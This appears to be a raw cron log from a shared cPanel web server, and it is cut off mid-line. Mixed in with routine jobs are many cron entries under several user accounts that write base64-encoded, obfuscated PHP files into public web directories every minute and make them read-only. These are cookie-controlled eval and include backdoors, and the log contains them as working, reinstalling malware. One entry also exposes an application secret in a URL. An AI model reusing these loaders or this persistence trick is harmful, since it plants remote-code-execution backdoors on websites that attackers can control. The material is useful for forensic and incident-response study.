Mar  1 06:12:01 medusa CROND[11478]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:12:01 medusa CROND[11480]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:12:01 medusa CROND[11483]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:12:01 medusa CROND[11484]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:12:01 medusa CROND[11482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:12:01 medusa CROND[11486]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:12:01 medusa CROND[11487]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:12:01 medusa CROND[11488]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:12:01 medusa CROND[11492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:12:01 medusa CROND[11485]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:12:01 medusa CROND[11495]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:13:01 medusa CROND[16835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:13:01 medusa CROND[17062]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:13:01 medusa CROND[17063]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:13:01 medusa CROND[17064]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 06:13:01 medusa CROND[17067]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:13:01 medusa CROND[17068]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:13:01 medusa CROND[17073]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:13:01 medusa CROND[17074]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:13:01 medusa CROND[17078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:13:01 medusa CROND[17080]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:13:01 medusa CROND[17088]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:13:01 medusa CROND[17093]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:13:01 medusa CROND[17094]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:13:01 medusa CROND[17105]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:14:02 medusa CROND[21707]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:14:02 medusa CROND[21708]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:14:02 medusa CROND[21709]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:14:02 medusa CROND[21712]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:14:02 medusa CROND[21713]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:14:02 medusa CROND[21714]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1